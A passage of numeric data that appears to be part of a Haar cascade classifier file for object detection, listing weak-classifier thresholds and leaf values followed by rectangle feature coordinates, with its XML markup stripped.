+ + 4.0089000016450882e-02 -4.5743298530578613e-01 + <_> + + 0 -1 2820 -2.2304000332951546e-02 + + 5.3855001926422119e-01 7.1662999689579010e-02 + <_> + + 0 -1 2821 3.2492000609636307e-02 + + -4.5991998165845871e-02 -1.0047069787979126e+00 + <_> + + 0 -1 2822 1.2269999831914902e-02 + + 3.4334998577833176e-02 4.2431798577308655e-01 + <_> + + 0 -1 2823 8.3820000290870667e-03 + + -2.5850600004196167e-01 2.6263499259948730e-01 + <_> + + 0 -1 2824 3.7353999912738800e-02 + + 1.5692499279975891e-01 -1.0429090261459351e+00 + <_> + + 0 -1 2825 -1.4111000113189220e-02 + + -7.3177701234817505e-01 -2.0276999101042747e-02 + <_> + + 0 -1 2826 5.7066999375820160e-02 + + 8.3360001444816589e-02 1.5661499500274658e+00 + <_> + + 0 -1 2827 4.9680001102387905e-03 + + -3.5318198800086975e-01 1.4698399603366852e-01 + <_> + + 0 -1 2828 -2.4492999538779259e-02 + + 2.8325900435447693e-01 -3.4640000667423010e-03 + <_> + + 0 -1 2829 -1.1254999786615372e-02 + + -8.4017497301101685e-01 -3.6251999437808990e-02 + <_> + + 0 -1 2830 3.4533001482486725e-02 + + 1.4998500049114227e-01 -8.7367099523544312e-01 + <_> + + 0 -1 2831 2.4303000420331955e-02 + + -1.8787500262260437e-01 5.9483999013900757e-01 + <_> + + 0 -1 2832 -7.8790001571178436e-03 + + 4.4315698742866516e-01 -5.6570999324321747e-02 + <_> + + 0 -1 2833 3.5142000764608383e-02 + + -5.6494999676942825e-02 -1.3617190122604370e+00 + <_> + + 0 -1 2834 4.6259998343884945e-03 + + -3.1161698698997498e-01 2.5447699427604675e-01 + <_> + + 0 -1 2835 -8.3131000399589539e-02 + + 1.6424349546432495e+00 -1.4429399371147156e-01 + <_> + + 0 -1 2836 -1.4015999622642994e-02 + + -7.7819502353668213e-01 1.7173300683498383e-01 + <_> + + 0 -1 2837 1.2450000504031777e-03 + + -2.3191399872303009e-01 2.8527900576591492e-01 + <_> + + 0 -1 2838 -1.6803000122308731e-02 + + -3.5965099930763245e-01 2.0412999391555786e-01 + <_> + + 0 -1 2839 -7.6747998595237732e-02 + + 7.8050500154495239e-01 -1.5612800419330597e-01 + <_> + + 0 -1 2840 -2.3671999573707581e-01 + + 1.1813700199127197e+00 7.8111998736858368e-02 + <_> + + 0 -1 2841 -1.0057400166988373e-01 + + -4.7104099392890930e-01 7.9172998666763306e-02 + <_> + + 0 -1 2842 1.3239999534562230e-03 + + 2.2262699902057648e-01 -3.7099799513816833e-01 + <_> + + 0 -1 2843 2.2152999415993690e-02 + + -3.8649000227451324e-02 -9.2274999618530273e-01 + <_> + + 0 -1 2844 -1.1246199905872345e-01 + + 4.1899600625038147e-01 8.0411002039909363e-02 + <_> + + 0 -1 2845 1.6481000930070877e-02 + + -1.6756699979305267e-01 7.1842402219772339e-01 + <_> + + 0 -1 2846 6.8113997578620911e-02 + + 1.5719899535179138e-01 -8.7681102752685547e-01 + <_> + + 0 -1 2847 1.6011999920010567e-02 + + -4.1600000113248825e-03 -5.9327799081802368e-01 + <_> + + 0 -1 2848 4.6640001237392426e-03 + + -3.0153999105095863e-02 4.8345300555229187e-01 + <_> + + 0 -1 2849 6.7579997703433037e-03 + + -2.2667400538921356e-01 3.3662301301956177e-01 + <_> + + 0 -1 2850 4.7289999201893806e-03 + + -6.0373999178409576e-02 3.1458100676536560e-01 + <_> + + 0 -1 2851 2.5869999080896378e-03 + + -2.9872599244117737e-01 1.7787499725818634e-01 + <_> + + 0 -1 2852 2.8989999555051327e-03 + + 2.1890200674533844e-01 -2.9567098617553711e-01 + <_> + + 0 -1 2853 -3.0053999274969101e-02 + + 1.2150429487228394e+00 -1.4354999363422394e-01 + <_> + + 0 -1 2854 1.4181000180542469e-02 + + 1.2451999820768833e-02 5.5490100383758545e-01 + <_> + + 0 -1 2855 -6.0527000576257706e-02 + + -1.4933999776840210e+00 -6.5227001905441284e-02 + <_> + + 0 -1 2856 -1.9882999360561371e-02 + + -3.8526400923728943e-01 1.9761200249195099e-01 + <_> + + 0 -1 2857 3.1218999996781349e-02 + + -2.1281200647354126e-01 2.9446500539779663e-01 + <_> + + 0 -1 2858 1.8271999433636665e-02 + + 9.7200000891461968e-04 6.6814202070236206e-01 + <_> + + 0 -1 2859 1.1089999461546540e-03 + + -6.2467902898788452e-01 -1.6599999507889152e-03 + <_> + + 0 -1 2860 -3.6713998764753342e-02 + + -4.2333900928497314e-01 1.2084700167179108e-01 + <_> + + 0 -1 2861 1.2044000439345837e-02 + + 2.5882000103592873e-02 -5.0732398033142090e-01 + <_> + + 0 -1 2862 7.4749000370502472e-02 + + 1.3184699416160583e-01 -2.1739600598812103e-01 + <_> + + 0 -1 2863 -2.3473200201988220e-01 + + 1.1775610446929932e+00 -1.5114699304103851e-01 + <_> + + 0 -1 2864 1.4096499979496002e-01 + + 3.3991001546382904e-02 3.9923098683357239e-01 + <_> + + 0 -1 2865 6.1789997853338718e-03 + + -3.1806701421737671e-01 1.1681699752807617e-01 + <_> + + 0 -1 2866 -5.7216998189687729e-02 + + 8.4399098157882690e-01 8.3889000117778778e-02 + <_> + + 0 -1 2867 -5.5227000266313553e-02 + + 3.6888301372528076e-01 -1.8913400173187256e-01 + <_> + + 0 -1 2868 -2.1583000198006630e-02 + + -5.2161800861358643e-01 1.5772600471973419e-01 + <_> + + 0 -1 2869 2.5747999548912048e-02 + + -5.9921998530626297e-02 -1.0674990415573120e+00 + <_> + + 0 -1 2870 -1.3098999857902527e-02 + + 7.8958398103713989e-01 5.2099999040365219e-02 + <_> + + 0 -1 2871 2.2799998987466097e-03 + + -1.1704430580139160e+00 -5.9356998652219772e-02 + <_> + + 0 -1 2872 8.8060004636645317e-03 + + 4.1717998683452606e-02 6.6352599859237671e-01 + <_> + + 0 -1 2873 -8.9699998497962952e-03 + + -3.5862699151039124e-01 6.0458000749349594e-02 + <_> + + 0 -1 2874 4.0230001322925091e-03 + + 2.0979399979114532e-01 -2.4806000292301178e-01 + <_> + + 0 -1 2875 2.5017000734806061e-02 + + -1.8795900046825409e-01 3.9547100663185120e-01 + <_> + + 0 -1 2876 -5.9009999968111515e-03 + + 2.5663900375366211e-01 -9.4919003546237946e-02 + <_> + + 0 -1 2877 4.3850000947713852e-03 + + 3.3139001578092575e-02 -4.6075400710105896e-01 + <_> + + 0 -1 2878 -3.3771999180316925e-02 + + -9.8881602287292480e-01 1.4636899530887604e-01 + <_> + + 0 -1 2879 4.4523000717163086e-02 + + -1.3286699354648590e-01 1.5796790122985840e+00 + <_> + + 0 -1 2880 -4.0929000824689865e-02 + + 3.3877098560333252e-01 7.4970997869968414e-02 + <_> + + 0 -1 2881 3.9351999759674072e-02 + + -1.8327899277210236e-01 4.6980699896812439e-01 + <_> + + 0 -1 2882 -7.0322997868061066e-02 + + -9.8322701454162598e-01 1.1808100342750549e-01 + <_> + + 0 -1 2883 3.5743001848459244e-02 + + -3.3050999045372009e-02 -8.3610898256301880e-01 + <_> + + 0 -1 2884 -4.2961999773979187e-02 + + 1.1670809984207153e+00 8.0692000687122345e-02 + <_> + + 0 -1 2885 -2.1007999777793884e-02 + + 6.3869798183441162e-01 -1.7626300454139709e-01 + <_> + + 0 -1 2886 -1.5742200613021851e-01 + + -2.3302499949932098e-01 1.2517499923706055e-01 + <_> + + 0 -1 2887 7.8659998252987862e-03 + + -2.2037999331951141e-01 2.7196800708770752e-01 + <_> + + 0 -1 2888 2.3622000589966774e-02 + + 1.6127300262451172e-01 -4.3329000473022461e-01 + <_> + + 0 -1 2889 7.4692003428936005e-02 + + -1.6991999745368958e-01 5.8884900808334351e-01 + <_> + + 0 -1 2890 -6.4799998654052615e-04 + + 2.5842899084091187e-01 -3.5911999642848969e-02 + <_> + + 0 -1 2891 -1.6290999948978424e-02 + + -7.6764398813247681e-01 -2.0472999662160873e-02 + <_> + + 0 -1 2892 -3.3133998513221741e-02 + + -2.7180099487304688e-01 1.4325700700283051e-01 + <_> + + 0 -1 2893 4.8797998577356339e-02 + + 7.6408997178077698e-02 -4.1445198655128479e-01 + <_> + + 0 -1 2894 2.2869999520480633e-03 + + -3.8628999143838882e-02 2.0753799378871918e-01 + <_> + + 0 -1 2895 4.5304000377655029e-02 + + -1.7777900397777557e-01 6.3461399078369141e-01 + <_> + + 0 -1 2896 1.0705800354480743e-01 + + 1.8972299993038177e-01 -5.1236200332641602e-01 + <_> + + 0 -1 2897 -4.0525000542402267e-02 + + 7.0614999532699585e-01 -1.7803299427032471e-01 + <_> + + 0 -1 2898 3.1968999654054642e-02 + + 6.8149998784065247e-02 6.8733102083206177e-01 + <_> + + 0 -1 2899 -5.7617001235485077e-02 + + 7.5170499086380005e-01 -1.5764999389648438e-01 + <_> + + 0 -1 2900 1.3593999668955803e-02 + + 1.9411900639533997e-01 -2.4561899900436401e-01 + <_> + + 0 -1 2901 7.1396000683307648e-02 + + -4.6881001442670822e-02 -8.8198298215866089e-01 + <_> + + 0 -1 2902 -1.4895999804139137e-02 + + -4.4532400369644165e-01 1.7679899930953979e-01 + <_> + + 0 -1 2903 -1.0026000440120697e-02 + + 6.5122699737548828e-01 -1.6709999740123749e-01 + <_> + + 0 -1 2904 3.7589999847114086e-03 + + -5.8301001787185669e-02 3.4483298659324646e-01 + <_> + + 0 -1 2905 1.6263000667095184e-02 + + -1.5581500530242920e-01 8.6432701349258423e-01 + <_> + + 0 -1 2906 -4.0176000446081161e-02 + + -6.1028599739074707e-01 1.1796399950981140e-01 + <_> + + 0 -1 2907 2.7080999687314034e-02 + + -4.9601998180150986e-02 -8.9990001916885376e-01 + <_> + + 0 -1 2908 5.2420001477003098e-02 + + 1.1297199875116348e-01 -1.0833640098571777e+00 + <_> + + 0 -1 2909 -1.9160000607371330e-02 + + -7.9880100488662720e-01 -3.4079000353813171e-02 + <_> + + 0 -1 2910 -3.7730000913143158e-03 + + -1.9124099612236023e-01 2.1535199880599976e-01 + <_> + + 0 -1 2911 7.5762003660202026e-02 + + -1.3421699404716492e-01 1.6807060241699219e+00 + <_> + + 0 -1 2912 -2.2173000499606133e-02 + + 4.8600998520851135e-01 3.6160000599920750e-03 + + <_> + + <_> + 6 4 12 9 -1. + <_> + 6 7 12 3 3. + <_> + + <_> + 6 4 12 7 -1. + <_> + 10 4 4 7 3. + <_> + + <_> + 3 9 18 9 -1. + <_> + 3 12 18 3 3. + <_> + + <_> + 8 18 9 6 -1. + <_> + 8 20 9 2 3. + <_> + + <_> + 3 5 4 19 -1. + <_> + 5 5 2 19 2. + <_> + + <_> + 6 5 12 16 -1. + <_> + 6 13 12 8 2. + <_> + + <_> + 5 8 12 6 -1. + <_> + 5 11 12 3 2. + <_> + + <_> + 11 14 4 10 -1. + <_> + 11 19 4 5 2. + <_> + + <_> + 4 0 7 6 -1. + <_> + 4 3 7 3 2. + <_> + + <_> + 6 6 12 6 -1. + <_> + 6 8 12 2 3. + <_> + + <_> + 6 4 12 7 -1. + <_> + 10 4 4 7 3. + <_> + + <_> + 1 8 19 12 -1. + <_> + 1 12 19 4 3. + <_> + + <_> + 0 2 24 3 -1. + <_> + 8 2 8 3 3. + <_> + + <_> + 9 9 6 15 -1. + <_> + 9 14 6 5 3. + <_> + + <_> + 5 6 14 10 -1. + <_> + 5 11 14 5 2. + <_> + + <_> + 5 0 14 9 -1. + <_> + 5 3 14 3 3. + <_> + + <_> + 13 11 9 6 -1. + <_> + 16 11 3 6 3. + <_> + + <_> + 7 5 6 10 -1. + <_> + 9 5 2 10 3. + <_> + + <_> + 10 8 6 10 -1. + <_> + 12 8 2 10 3. + <_> + + <_> + 2 5 4 9 -1. + <_> + 4 5 2 9 2. + <_> + + <_> + 18 0 6 11 -1. + <_> + 20 0 2 11 3. + <_> + + <_> + 0 6 24 13 -1. + <_> + 8 6 8 13 3. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 7 18 10 6 -1. + <_> + 7 20 10 2 3. + <_> + + <_> + 5 7 14 12 -1. + <_> + 5 13 14 6 2. + <_> + + <_> + 0 3 24 3 -1. + <_> + 8 3 8 3 3. + <_> + + <_> + 5 8 15 6 -1. + <_> + 5 11 15 3 2. + <_> + + <_> + 9 6 5 14 -1. + <_> + 9 13 5 7 2. + <_> + + <_> + 9 5 6 10 -1. + <_> + 11 5 2 10 3. + <_> + + <_> + 6 6 3 12 -1. + <_> + 6 12 3 6 2. + <_> + + <_> + 3 21 18 3 -1. + <_> + 9 21 6 3 3. + <_> + + <_> + 5 6 13 6 -1. + <_> + 5 8 13 2 3. + <_> + + <_> + 18 1 6 15 -1. + <_> + 18 1 3 15 2. + <_> + + <_> + 1 1 6 15 -1. + <_> + 4 1 3 15 2. + <_> + + <_> + 0 8 24 15 -1. + <_> + 8 8 8 15 3. + <_> + + <_> + 5 6 14 12 -1. + <_> + 5 6 7 6 2. + <_> + 12 12 7 6 2. + <_> + + <_> + 2 12 21 12 -1. + <_> + 2 16 21 4 3. + <_> + + <_> + 8 1 4 10 -1. + <_> + 10 1 2 10 2. + <_> + + <_> + 2 13 20 10 -1. + <_> + 2 13 10 10 2. + <_> + + <_> + 0 1 6 13 -1. + <_> + 2 1 2 13 3. + <_> + + <_> + 20 2 4 13 -1. + <_> + 20 2 2 13 2. + <_> + + <_> + 0 5 22 19 -1. + <_> + 11 5 11 19 2. + <_> + + <_> + 18 4 6 9 -1. + <_> + 20 4 2 9 3. + <_> + + <_> + 0 3 6 11 -1. + <_> + 2 3 2 11 3. + <_> + + <_> + 12 1 4 9 -1. + <_> + 12 1 2 9 2. + <_> + + <_> + 0 6 19 3 -1. + <_> + 0 7 19 1 3. + <_> + + <_> + 12 1 4 9 -1. + <_> + 12 1 2 9 2. + <_> + + <_> + 8 1 4 9 -1. + <_> + 10 1 2 9 2. + <_> + + <_> + 5 5 14 14 -1. + <_> + 12 5 7 7 2. + <_> + 5 12 7 7 2. + <_> + + <_> + 1 10 18 2 -1. + <_> + 1 11 18 1 2. + <_> + + <_> + 17 13 4 11 -1. + <_> + 17 13 2 11 2. + <_> + + <_> + 0 4 6 9 -1. + <_> + 0 7 6 3 3. + <_> + + <_> + 6 4 12 9 -1. + <_> + 6 7 12 3 3. + <_> + + <_> + 6 5 12 6 -1. + <_> + 10 5 4 6 3. + <_> + + <_> + 0 1 24 5 -1. + <_> + 8 1 8 5 3. + <_> + + <_> + 4 10 18 6 -1. + <_> + 4 12 18 2 3. + <_> + + <_> + 2 17 12 6 -1. + <_> + 2 17 6 3 2. + <_> + 8 20 6 3 2. + <_> + + <_> + 19 3 4 13 -1. + <_> + 19 3 2 13 2. + <_> + + <_> + 1 3 4 13 -1. + <_> + 3 3 2 13 2. + <_> + + <_> + 0 1 24 23 -1. + <_> + 8 1 8 23 3. + <_> + + <_> + 1 7 8 12 -1. + <_> + 1 11 8 4 3. + <_> + + <_> + 14 7 3 14 -1. + <_> + 14 14 3 7 2. + <_> + + <_> + 3 12 16 6 -1. + <_> + 3 12 8 3 2. + <_> + 11 15 8 3 2. + <_> + + <_> + 6 6 12 6 -1. + <_> + 6 8 12 2 3. + <_> + + <_> + 8 7 6 12 -1. + <_> + 8 13 6 6 2. + <_> + + <_> + 15 15 9 6 -1. + <_> + 15 17 9 2 3. + <_> + + <_> + 1 17 18 3 -1. + <_> + 1 18 18 1 3. + <_> + + <_> + 4 4 16 12 -1. + <_> + 4 10 16 6 2. + <_> + + <_> + 0 1 4 20 -1. + <_> + 2 1 2 20 2. + <_> + + <_> + 3 0 18 2 -1. + <_> + 3 1 18 1 2. + <_> + + <_> + 1 5 20 14 -1. + <_> + 1 5 10 7 2. + <_> + 11 12 10 7 2. + <_> + + <_> + 5 8 14 12 -1. + <_> + 5 12 14 4 3. + <_> + + <_> + 3 14 7 9 -1. + <_> + 3 17 7 3 3. + <_> + + <_> + 14 15 9 6 -1. + <_> + 14 17 9 2 3. + <_> + + <_> + 1 15 9 6 -1. + <_> + 1 17 9 2 3. + <_> + + <_> + 11 6 8 10 -1. + <_> + 15 6 4 5 2. + <_> + 11 11 4 5 2. + <_> + + <_> + 5 5 14 14 -1. + <_> + 5 5 7 7 2. + <_> + 12 12 7 7 2. + <_> + + <_> + 6 0 12 5 -1. + <_> + 10 0 4 5 3. + <_> + + <_> + 9 0 6 9 -1. + <_> + 9 3 6 3 3. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 10 6 6 9 -1. + <_> + 12 6 2 9 3. + <_> + + <_> + 8 6 6 9 -1. + <_> + 10 6 2 9 3. + <_> + + <_> + 3 8 18 4 -1. + <_> + 9 8 6 4 3. + <_> + + <_> + 6 0 12 9 -1. + <_> + 6 3 12 3 3. + <_> + + <_> + 0 0 24 6 -1. + <_> + 8 0 8 6 3. + <_> + + <_> + 4 7 16 12 -1. + <_> + 4 11 16 4 3. + <_> + + <_> + 11 6 6 6 -1. + <_> + 11 6 3 6 2. + <_> + + <_> + 0 20 24 3 -1. + <_> + 8 20 8 3 3. + <_> + + <_> + 11 6 4 9 -1. + <_> + 11 6 2 9 2. + <_> + + <_> + 4 13 15 4 -1. + <_> + 9 13 5 4 3. + <_> + + <_> + 11 6 4 9 -1. + <_> + 11 6 2 9 2. + <_> + + <_> + 9 6 4 9 -1. + <_> + 11 6 2 9 2. + <_> + + <_> + 9 12 6 12 -1. + <_> + 9 18 6 6 2. + <_> + + <_> + 1 22 18 2 -1. + <_> + 1 23 18 1 2. + <_> + + <_> + 10 7 4 10 -1. + <_> + 10 12 4 5 2. + <_> + + <_> + 6 7 8 10 -1. + <_> + 6 12 8 5 2. + <_> + + <_> + 7 6 10 6 -1. + <_> + 7 8 10 2 3. + <_> + + <_> + 0 14 10 4 -1. + <_> + 0 16 10 2 2. + <_> + + <_> + 6 18 18 2 -1. + <_> + 6 19 18 1 2. + <_> + + <_> + 1 1 22 3 -1. + <_> + 1 2 22 1 3. + <_> + + <_> + 6 16 18 3 -1. + <_> + 6 17 18 1 3. + <_> + + <_> + 2 4 6 15 -1. + <_> + 5 4 3 15 2. + <_> + + <_> + 20 4 4 10 -1. + <_> + 20 4 2 10 2. + <_> + + <_> + 0 4 4 10 -1. + <_> + 2 4 2 10 2. + <_> + + <_> + 2 16 20 6 -1. + <_> + 12 16 10 3 2. + <_> + 2 19 10 3 2. + <_> + + <_> + 0 12 8 9 -1. + <_> + 4 12 4 9 2. + <_> + + <_> + 12 0 6 9 -1. + <_> + 14 0 2 9 3. + <_> + + <_> + 5 10 6 6 -1. + <_> + 8 10 3 6 2. + <_> + + <_> + 11 8 12 6 -1. + <_> + 17 8 6 3 2. + <_> + 11 11 6 3 2. + <_> + + <_> + 0 8 12 6 -1. + <_> + 0 8 6 3 2. + <_> + 6 11 6 3 2. + <_> + + <_> + 12 0 6 9 -1. + <_> + 14 0 2 9 3. + <_> + + <_> + 6 0 6 9 -1. + <_> + 8 0 2 9 3. + <_> + + <_> + 8 14 9 6 -1. + <_> + 8 16 9 2 3. + <_> + + <_> + 0 16 9 6 -1. + <_> + 0 18 9 2 3. + <_> + + <_> + 10 8 6 10 -1. + <_> + 12 8 2 10 3. + <_> + + <_> + 3 19 12 3 -1. + <_> + 9 19 6 3 2. + <_> + + <_> + 2 10 20 2 -1. + <_> + 2 11 20 1 2. + <_> + + <_> + 2 9 18 12 -1. + <_> + 2 9 9 6 2. + <_> + 11 15 9 6 2. + <_> + + <_> + 3 0 18 24 -1. + <_> + 3 0 9 24 2. + <_> + + <_> + 5 6 14 10 -1. + <_> + 5 6 7 5 2. + <_> + 12 11 7 5 2. + <_> + + <_> + 9 5 10 12 -1. + <_> + 14 5 5 6 2. + <_> + 9 11 5 6 2. + <_> + + <_> + 4 5 12 12 -1. + <_> + 4 5 6 6 2. + <_> + 10 11 6 6 2. + <_> + + <_> + 4 14 18 3 -1. + <_> + 4 15 18 1 3. + <_> + + <_> + 6 13 8 8 -1. + <_> + 6 17 8 4 2. + <_> + + <_> + 3 16 18 6 -1. + <_> + 3 19 18 3 2. + <_> + + <_> + 0 0 6 6 -1. + <_> + 3 0 3 6 2. + <_> + + <_> + 6 6 12 18 -1. + <_> + 10 6 4 18 3. + <_> + + <_> + 6 1 4 14 -1. + <_> + 8 1 2 14 2. + <_> + + <_> + 3 2 19 2 -1. + <_> + 3 3 19 1 2. + <_> + + <_> + 1 8 22 13 -1. + <_> + 12 8 11 13 2. + <_> + + <_> + 8 9 11 4 -1. + <_> + 8 11 11 2 2. + <_> + + <_> + 0 12 15 10 -1. + <_> + 5 12 5 10 3. + <_> + + <_> + 12 16 12 6 -1. + <_> + 16 16 4 6 3. + <_> + + <_> + 0 16 12 6 -1. + <_> + 4 16 4 6 3. + <_> + + <_> + 19 1 5 12 -1. + <_> + 19 5 5 4 3. + <_> + + <_> + 0 2 24 4 -1. + <_> + 8 2 8 4 3. + <_> + + <_> + 6 8 12 4 -1. + <_> + 6 10 12 2 2. + <_> + + <_> + 7 5 9 6 -1. + <_> + 10 5 3 6 3. + <_> + + <_> + 9 17 6 6 -1. + <_> + 9 20 6 3 2. + <_> + + <_> + 0 7 22 15 -1. + <_> + 0 12 22 5 3. + <_> + + <_> + 4 1 17 9 -1. + <_> + 4 4 17 3 3. + <_> + + <_> + 7 5 6 10 -1. + <_> + 9 5 2 10 3. + <_> + + <_> + 18 1 6 8 -1. + <_> + 18 1 3 8 2. + <_> + + <_> + 0 1 6 7 -1. + <_> + 3 1 3 7 2. + <_> + + <_> + 18 0 6 22 -1. + <_> + 18 0 3 22 2. + <_> + + <_> + 0 0 6 22 -1. + <_> + 3 0 3 22 2. + <_> + + <_> + 16 7 8 16 -1. + <_> + 16 7 4 16 2. + <_> + + <_> + 2 10 19 6 -1. + <_> + 2 12 19 2 3. + <_> + + <_> + 9 9 6 12 -1. + <_> + 9 13 6 4 3. + <_> + + <_> + 2 15 17 6 -1. + <_> + 2 17 17 2 3. + <_> + + <_> + 14 7 3 14 -1. + <_> + 14 14 3 7 2. + <_> + + <_> + 5 6 8 10 -1. + <_> + 5 6 4 5 2. + <_> + 9 11 4 5 2. + <_> + + <_> + 15 8 9 11 -1. + <_> + 18 8 3 11 3. + <_> + + <_> + 0 8 9 11 -1. + <_> + 3 8 3 11 3. + <_> + + <_> + 8 6 10 18 -1. + <_> + 8 15 10 9 2. + <_> + + <_> + 7 7 3 14 -1. + <_> + 7 14 3 7 2. + <_> + + <_> + 0 14 24 8 -1. + <_> + 8 14 8 8 3. + <_> + + <_> + 1 10 18 14 -1. + <_> + 10 10 9 14 2. + <_> + + <_> + 14 12 6 6 -1. + <_> + 14 15 6 3 2. + <_> + + <_> + 7 0 10 16 -1. + <_> + 7 0 5 8 2. + <_> + 12 8 5 8 2. + <_> + + <_> + 10 0 9 6 -1. + <_> + 13 0 3 6 3. + <_> + + <_> + 4 3 16 4 -1. + <_> + 12 3 8 4 2. + <_> + + <_> + 10 0 9 6 -1. + <_> + 13 0 3 6 3. + <_> + + <_> + 1 1 20 4 -1. + <_> + 1 1 10 2 2. + <_> + 11 3 10 2 2. + <_> + + <_> + 10 0 9 6 -1. + <_> + 13 0 3 6 3. + <_> + + <_> + 5 0 9 6 -1. + <_> + 8 0 3 6 3. + <_> + + <_> + 8 18 10 6 -1. + <_> + 8 20 10 2 3. + <_> + + <_> + 6 3 6 9 -1. + <_> + 8 3 2 9 3. + <_> + + <_> + 7 3 12 6 -1. + <_> + 7 5 12 2 3. + <_> + + <_> + 0 10 18 3 -1. + <_> + 0 11 18 1 3. + <_> + + <_> + 1 10 22 3 -1. + <_> + 1 11 22 1 3. + <_> + + <_> + 5 11 8 8 -1. + <_> + 9 11 4 8 2. + <_> + + <_> + 12 11 6 6 -1. + <_> + 12 11 3 6 2. + <_> + + <_> + 6 11 6 6 -1. + <_> + 9 11 3 6 2. + <_> + + <_> + 7 10 11 6 -1. + <_> + 7 12 11 2 3. + <_> + + <_> + 0 13 24 4 -1. + <_> + 0 13 12 2 2. + <_> + 12 15 12 2 2. + <_> + + <_> + 2 4 22 12 -1. + <_> + 13 4 11 6 2. + <_> + 2 10 11 6 2. + <_> + + <_> + 2 0 20 17 -1. + <_> + 12 0 10 17 2. + <_> + + <_> + 14 0 2 24 -1. + <_> + 14 0 1 24 2. + <_> + + <_> + 8 0 2 24 -1. + <_> + 9 0 1 24 2. + <_> + + <_> + 14 1 2 22 -1. + <_> + 14 1 1 22 2. + <_> + + <_> + 8 1 2 22 -1. + <_> + 9 1 1 22 2. + <_> + + <_> + 17 6 3 18 -1. + <_> + 18 6 1 18 3. + <_> + + <_> + 6 14 9 6 -1. + <_> + 6 16 9 2 3. + <_> + + <_> + 13 14 9 4 -1. + <_> + 13 16 9 2 2. + <_> + + <_> + 3 18 18 3 -1. + <_> + 3 19 18 1 3. + <_> + + <_> + 9 4 8 18 -1. + <_> + 13 4 4 9 2. + <_> + 9 13 4 9 2. + <_> + + <_> + 0 17 18 3 -1. + <_> + 0 18 18 1 3. + <_> + + <_> + 0 2 12 4 -1. + <_> + 6 2 6 4 2. + <_> + + <_> + 6 8 14 6 -1. + <_> + 6 11 14 3 2. + <_> + + <_> + 7 5 6 6 -1. + <_> + 10 5 3 6 2. + <_> + + <_> + 10 5 6 16 -1. + <_> + 10 13 6 8 2. + <_> + + <_> + 1 4 9 16 -1. + <_> + 4 4 3 16 3. + <_> + + <_> + 5 0 18 9 -1. + <_> + 5 3 18 3 3. + <_> + + <_> + 9 15 5 8 -1. + <_> + 9 19 5 4 2. + <_> + + <_> + 20 0 4 9 -1. + <_> + 20 0 2 9 2. + <_> + + <_> + 2 0 18 3 -1. + <_> + 2 1 18 1 3. + <_> + + <_> + 5 22 19 2 -1. + <_> + 5 23 19 1 2. + <_> + + <_> + 0 0 4 9 -1. + <_> + 2 0 2 9 2. + <_> + + <_> + 5 6 19 18 -1. + <_> + 5 12 19 6 3. + <_> + + <_> + 0 1 6 9 -1. + <_> + 2 1 2 9 3. + <_> + + <_> + 6 5 14 12 -1. + <_> + 13 5 7 6 2. + <_> + 6 11 7 6 2. + <_> + + <_> + 0 1 20 2 -1. + <_> + 0 2 20 1 2. + <_> + + <_> + 1 2 22 3 -1. + <_> + 1 3 22 1 3. + <_> + + <_> + 2 8 7 9 -1. + <_> + 2 11 7 3 3. + <_> + + <_> + 2 12 22 4 -1. + <_> + 13 12 11 2 2. + <_> + 2 14 11 2 2. + <_> + + <_> + 0 12 22 4 -1. + <_> + 0 12 11 2 2. + <_> + 11 14 11 2 2. + <_> + + <_> + 9 7 6 11 -1. + <_> + 11 7 2 11 3. + <_> + + <_> + 7 1 9 6 -1. + <_> + 10 1 3 6 3. + <_> + + <_> + 11 2 4 10 -1. + <_> + 11 7 4 5 2. + <_> + + <_> + 6 4 12 12 -1. + <_> + 6 10 12 6 2. + <_> + + <_> + 18 1 6 15 -1. + <_> + 18 6 6 5 3. + <_> + + <_> + 3 15 18 3 -1. + <_> + 3 16 18 1 3. + <_> + + <_> + 18 5 6 9 -1. + <_> + 18 8 6 3 3. + <_> + + <_> + 1 5 16 6 -1. + <_> + 1 5 8 3 2. + <_> + 9 8 8 3 2. + <_> + + <_> + 11 0 6 9 -1. + <_> + 13 0 2 9 3. + <_> + + <_> + 0 4 24 14 -1. + <_> + 0 4 12 7 2. + <_> + 12 11 12 7 2. + <_> + + <_> + 13 0 4 13 -1. + <_> + 13 0 2 13 2. + <_> + + <_> + 7 0 4 13 -1. + <_> + 9 0 2 13 2. + <_> + + <_> + 11 6 6 9 -1. + <_> + 13 6 2 9 3. + <_> + + <_> + 8 7 6 9 -1. + <_> + 10 7 2 9 3. + <_> + + <_> + 13 17 9 6 -1. + <_> + 13 19 9 2 3. + <_> + + <_> + 2 18 14 6 -1. + <_> + 2 18 7 3 2. + <_> + 9 21 7 3 2. + <_> + + <_> + 3 18 18 4 -1. + <_> + 12 18 9 2 2. + <_> + 3 20 9 2 2. + <_> + + <_> + 0 20 15 4 -1. + <_> + 5 20 5 4 3. + <_> + + <_> + 9 15 15 9 -1. + <_> + 14 15 5 9 3. + <_> + + <_> + 4 4 16 4 -1. + <_> + 4 6 16 2 2. + <_> + + <_> + 7 6 10 6 -1. + <_> + 7 8 10 2 3. + <_> + + <_> + 0 14 15 10 -1. + <_> + 5 14 5 10 3. + <_> + + <_> + 7 9 10 14 -1. + <_> + 12 9 5 7 2. + <_> + 7 16 5 7 2. + <_> + + <_> + 7 6 6 9 -1. + <_> + 9 6 2 9 3. + <_> + + <_> + 3 6 18 3 -1. + <_> + 3 7 18 1 3. + <_> + + <_> + 0 10 18 3 -1. + <_> + 0 11 18 1 3. + <_> + + <_> + 3 16 18 4 -1. + <_> + 12 16 9 2 2. + <_> + 3 18 9 2 2. + <_> + + <_> + 4 6 14 6 -1. + <_> + 4 6 7 3 2. + <_> + 11 9 7 3 2. + <_> + + <_> + 13 0 2 18 -1. + <_> + 13 0 1 18 2. + <_> + + <_> + 9 0 2 18 -1. + <_> + 10 0 1 18 2. + <_> + + <_> + 5 7 15 10 -1. + <_> + 10 7 5 10 3. + <_> + + <_> + 1 20 21 4 -1. + <_> + 8 20 7 4 3. + <_> + + <_> + 10 5 5 18 -1. + <_> + 10 14 5 9 2. + <_> + + <_> + 0 2 24 6 -1. + <_> + 0 2 12 3 2. + <_> + 12 5 12 3 2. + <_> + + <_> + 1 1 22 8 -1. + <_> + 12 1 11 4 2. + <_> + 1 5 11 4 2. + <_> + + <_> + 4 0 15 9 -1. + <_> + 4 3 15 3 3. + <_> + + <_> + 0 0 24 19 -1. + <_> + 8 0 8 19 3. + <_> + + <_> + 2 21 18 3 -1. + <_> + 11 21 9 3 2. + <_> + 